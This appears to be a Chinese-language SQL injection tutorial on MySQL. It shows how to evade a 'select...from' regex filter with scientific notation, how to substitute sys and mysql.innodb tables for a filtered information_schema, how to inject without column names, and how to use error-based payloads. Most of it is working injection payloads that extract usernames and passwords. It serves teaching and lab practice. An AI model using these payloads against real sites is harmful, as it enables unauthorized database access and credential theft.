SQL注入绕过正则及无列名注入

一、select\b[\s\S]*\bfrom正则

如果我们继续按照上次的思路去注入是肯定不行的：

下面我们去这个网站：https://regex101.com/
我们现在来看下这条语句：

select\b[\s\S]*\bfrom

这里我们可以看到，前面以及后面的\b时匹配单词的边界，\s\S是匹配*到*的所有字符，所以就把下面我们这条语句匹配上了。

所以说我们下面必须绕过这个正则表达式才可以查，下面我们可以看下匹配过程，第一步先匹配s，然后到select结束到小圆点我们可以看到\b匹配到了，然后到\s\S一下全部匹配上了，因为它匹配的是所有，继续匹配那么就得回溯了，往回走，继续匹配到小圆点也就是\b，然后继续匹配，到from之前开始正向匹配就把from匹配到了。






所以说现在假如说我们可以让他不是from，问题在于没有函数可以使用，比如下面这几个都是报错的：

现在我们想的是既要绕过正则，又要把数据查出来，现在我们的办法是如果有个字符可以加在from前面，而且加不加它的效果一样，不影响我们进行查询就行。

二、科学计数法绕过

其实我们这里可以使用科学计数法：
我们这里首先正常查：

我们在from前面放1e1前面：

很明显这样是不行的，下面我们与之前我们学到的利用下，并在1e1之前加个,我们再来看下：

select group_concat(username,0x3a,password),1e1from users;

这里我们可以看到，很明显，查出数据了；这是为什么呢？

不加又不行，这里我们来看输出：

我们可以看到后面有一列1e1，然后下面是10，这个是对的，本来就是10，所以我们使用这样去查，就相当于给users多出来了一列，就是1e1，正常连肯定不行，但是我们是科学技术法：

也就是说我们通过这样的方式去查，也就是给users多出来了一列，这一列的值是10。所以这时我们发现如何绕过了，下面我们就谈论如何去查。
这里我们通过这三种去尝试：

 select * 1e1from users;

select username,1e1from users;

select username,password,1e1from users;

可以看到第一种星号肯定是不行的，所以我们查到肯定是后面加了一列，这里我们就得考虑怎么去写：
初步我们肯定是想直接union然后输入也就是下面：

?id=-1' union select 1,concat(username,0x3a,password),3,4,1e1from users--+

这是因为列数不对，前面是4列，后面是3列，所以我们需要改下列数：

?id=-1' union select 1,concat(username,0x3a,password),1e1from users--+

这样，我们就完成了绕过并查到。
这里绕过我们必须熟悉正则表达式以及科学计数法绕过。

三、过滤information

这个一限制，我们的很多表就不能用了，这又该怎么办，如果我们使用科学计数法绕过肯定是不行的，因为information肯定是必须的使用的。
上面我们使用科学计数法绕过，那是因为我们没有查information库而直接知道那个表查的。所以我们必须找到一个库来取代information，那么我们就绕过了。

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库，他保存着mysql 服务器所维护的所有其他的数据库信息， 包括了 库名，表名，列名。在注入时，information_schema库的作用就是获取 table_schema table_name, column_name。

查询表的统计信息，其中还包括Innodb缓冲池统计信息，默认情况下按照增删改查操作的总表I/O延迟时间（执行时间）降序排序

sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io

但是 sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。

类似的，可以利用的表还有 ：

mysql.innodb_table_stats、mysql.innodb_table_index同样存放有库名表名

总结一下：

sys.schema_auto_increment_columns 
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
均可代替 information_schema

我们下面来看下这个表：

sys.x$schema_table_statistics_with_buffer

我们可以看到这里面有很多字段，这里面有数据库名称、表名等等。
以及下面这个表：

sys.x$schema_table_statistics

这里我们也是可以看到数据库以及表名。

下面我们来看这个sys.x$ps_schema_table_statistics_io表：

但是上面几个表必须要root，一般肯定是没有root的，所以，sys的表一般都用不了，这里我们经常用的表是下面两个：

mysql.innodb_table_stats
mysql.innodb_table_index

所以，这里我们可以这样注入：

?id=-1' union select 1,concat(table_name),3,4 from mysql.innodb_table_stats--+

这个有一个缺陷，就是我们只能拿到表名，这个表里面没有列名，只有数据库以及表名，我们肯定是必须要知道列名才能注入，下面就涉及到了无列名注入。

四、无列名注入

1、利用 join-using 注列名。

通过系统关键字 join 可建立两表之间的内连接，通过对想要查询列名所在的表与其自身

爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名，as是可以省略的，为了增加可读性，建议不省略。

这里我们可以看到已经显示了一个列名，下面我们来一起看下这句话：

?id=-1' union select * from (select * from users as a join users as b)as c--+
select * from(select * from users as a join users)

首先我们可以看到它使用了联合查询以及子查询，子查询使用了连接，连接了它自己，两张相同的结果赋值给c，但是连接两张相同的表会导致字段重复，所以就可以帮助我们显示在屏幕上。所以我们此时把id拿出来。

?id=-1' union select * from (select * from users as a join users as b using (id))as c--+

我们这里以id去连接，可以看到显示username重复，然后我们以id，username去连接：

?id=-1' union select * from (select * from users as a join users as b using (id,username))as c--+

这里我们就可以看到显示password重复，我们这下以id，username，password去连接：

?id=-1' union select * from (select * from users as a join users as b using (id,username,password))as c--+

好，这里我们就可以知道三个字段取出来了，id，username，password取出来了，列已经取出来了，我们直接正常查：

?id=-1' union select 1,concat(username,0x3a,password),3 from  users--+

总结，使用mysql.innodb_table_stats mysql.innodb_table_index只能查出数据库名，表名，查不出列名，下面我们去查列名，使用连接的特性，然后进行一个一个取列名，找出所有的列名，最后我们直接进行查询。
当然，实际上有一种方法，原理在于select 1,2,3,4,5 union select * from users;这里我们就不用知道列名。

2、无列名查询

无列名注入关键就是要猜测表里有多少个列，要一一对应上，上面例子是有5个列
1，2，3，4，5 的作用就是对列起别名，替换为后面无列名注入做准备。

接着就可以使用数字来对应列进行查询，如3对应了表里面的password。

select `3` from (select 1,2,3,4,5 union select * from users)as a;

?id=-1' union select `3` from (select 1,2,3 union select * from users)as a;

select * from users

就相当于select pass from (select 1,2,3,4,5 union select * from users)as a;
当然，这里用户名在第二行也一样的：

select `2` from (select 1,2,3 union select * from users)as a;

这个语句就是先进行联合查询，然后给查询结果存储在别名为a的表里面。

SQL 中反引号是可以代表数据库名和列名的
(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重命名一张新的表 a，在从中查询。
当反引号被禁用时，就可以使用起别名的方法来代替

select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;

这里我们只有三列，所以：

select b from (select 1,2, 3 as b union select * from users)as a;

在注入时同时查询多个列

select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

绕过空格：：直接注释

过滤and： 使用&&绕过
过滤#： 使用闭合’1’='1

五、报错注入7大常用函数

1.ST_LatFromGeoHash()（mysql>=5.7.x）

payload

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

2.ST_LongFromGeoHash（mysql>=5.7.x）

payload

#同 8 ，都使用了嵌套查询

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

3.GTID (MySQL >= 5.6.X - 显错<=200)

3.1 0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符，GTID不仅在本服务器上是唯一的，其在复制拓扑中也是唯一的

3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数

3.3 0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数，我们知道他的输入值是 GTIDset ，当输入有误时，就会报错。

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID，也在 set2 中，返回 true，否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中，不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

3.4 0x03 注入过程( payload )

GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

函数都是那样，只是适用的版本不同

4.floor（8.x>mysql>5.0）

4.1 获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.2 获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.3 获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.4 获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

5.ST_Pointfromgeohash (mysql>=5.7)

5.1 获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

5.2 获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

5.3 获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

5.4 获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

6 updatexml

updatexml(1,1,1) 一共可以接收三个参数，报错位置在第二个参数

7 extractvalue

extractvalue(1,1) 一共可以接收两个参数，报错位置在第二个参数